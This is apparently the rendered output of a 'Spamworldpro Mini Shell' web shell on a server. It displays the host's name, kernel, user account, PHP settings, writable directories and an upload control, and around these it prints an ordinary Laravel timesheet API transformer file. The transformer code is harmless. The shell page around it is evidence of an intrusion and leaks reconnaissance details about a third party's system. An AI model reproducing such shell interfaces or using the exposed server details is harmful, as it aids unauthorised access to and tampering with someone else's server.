Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Transformers/API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Transformers/API/EntryTransformer.php
<?php

namespace Corals\Modules\Timesheet\Transformers\API;

use Carbon\Carbon;
use Corals\Foundation\Transformers\APIBaseTransformer;
use Corals\Modules\Timesheet\Facades\Timesheet;
use Corals\Modules\Timesheet\Models\Entry;

class EntryTransformer extends APIBaseTransformer
{
    public function __construct($extras = [])
    {
//        $extras['edit'] = 1;
        parent::__construct($extras);
    }

    /**
     * @var string[]
     */
    protected $exculdeableAtrrs = [
        'evaluation_minutes',
        'evaluation_hours',
        'evaluation_time',
        'amount',
        'cost',
        'hourly_rate'
    ];

    protected $clientExculdeableAtrrs = [
        'minutes',
        'hours',
        'time',
        'cost',
        'amount',
        'hourly_rate',
    ];

    /**
     * @param Entry $entry
     * @return array
     */
    public function transform(Entry $entry)
    {
        $spentAt = Carbon::parse($entry->spent_at);

        $transformedArray = [
            'id' => $entry->id,
            'activity' => $entry->activity->title,
            'tags' => $entry->tags()->pluck('id')->toArray(),
            'activity_id' => $entry->activity_id,
            'client_name' => data_get($entry, 'project.client.name'),
            'client_id' => data_get($entry, 'project.client.id'),
            'spent_at' => $entry->spent_at,
            'spent_at_day' => [
                'name' => $spentAt->englishDayOfWeek,
                'short_name' => $spentAt->shortEnglishDayOfWeek
            ],
            'invoice_id' => $entry->invoice_id,
            'invoice_code' => data_get($entry, 'invoice.code'),
            'user_id' => $entry->user_id,
            'project' => $entry->project->name,
            'project_id' => $entry->project_id,
            'user' => data_get($entry, 'user.full_name', '-'),
            'minutes' => $entry->minutes,
            'hours' => $entry->hours,
            'time' => Timesheet::formatHoursAndMinutes($entry->hours, $entry->minutes),
            'evaluation_minutes' => $entry->evaluation_minutes,
            'evaluation_hours' => $entry->evaluation_hours,
            'evaluation_time' => is_null($entry->evaluation_hours) && is_null($entry->evaluation_minutes) ? '-- : --' : Timesheet::formatHoursAndMinutes($entry['evaluation_hours'],
                $entry['evaluation_minutes']),
            'has_reviewed' => $entry->has_reviewed,
            'amount' => round($entry->amount, 2),
            'cost' => round($entry->cost, 2),
            'labels' => $entry->tags->transform(function ($tag) {
                return [
                    'id' => $tag->id,
                    'name' => $tag->name,
                    'slug' => $tag->slug,
                ];
            }),
            'hourly_rate' => $entry->hourly_rate,
            'description' => $entry->description,
            'created_at' => format_date_time($entry->created_at),
            'updated_at' => format_date_time($entry->updated_at),
        ];

        if (user()->hasRole('client')) {
            foreach ($this->clientExculdeableAtrrs as $attr) {
                unset($transformedArray[$attr]);
            }
        } elseif (!Timesheet::isTimesheetAdministration()) {
            foreach ($this->exculdeableAtrrs as $attr) {
                unset($transformedArray[$attr]);
            }
        }

        return parent::transformResponse($transformedArray, $entry);
    }

}

Spamworldpro Mini